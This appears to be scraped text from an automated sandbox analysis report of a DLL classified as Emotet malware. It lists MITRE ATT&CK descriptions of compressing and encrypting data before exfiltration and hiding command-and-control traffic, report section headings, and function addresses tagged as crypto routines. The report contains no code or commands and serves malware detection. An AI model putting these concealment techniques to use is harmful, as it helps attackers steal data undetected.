Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report mal.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Function 029D91F7, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto

Function 029D89DA, Relevance: 10.3, Strings: 8, Instructions: 318
COMMONCrypto

Function 029DED95, Relevance: 9.1, Strings: 7, Instructions: 364
COMMONCrypto

Function 029C8112, Relevance: 9.0, Strings: 7, Instructions: 279
COMMONCrypto

Function 029D604E, Relevance: 9.0, Strings: 7, Instructions: 201
COMMONCrypto

Function 029D3130, Relevance: 7.9, Strings: 6, Instructions: 386
COMMONCrypto

Function 029DBA18, Relevance: 7.8, Strings: 6, Instructions: 254
COMMONCrypto

Function 029DE7DA, Relevance: 7.8, Strings: 6, Instructions: 253
COMMONCrypto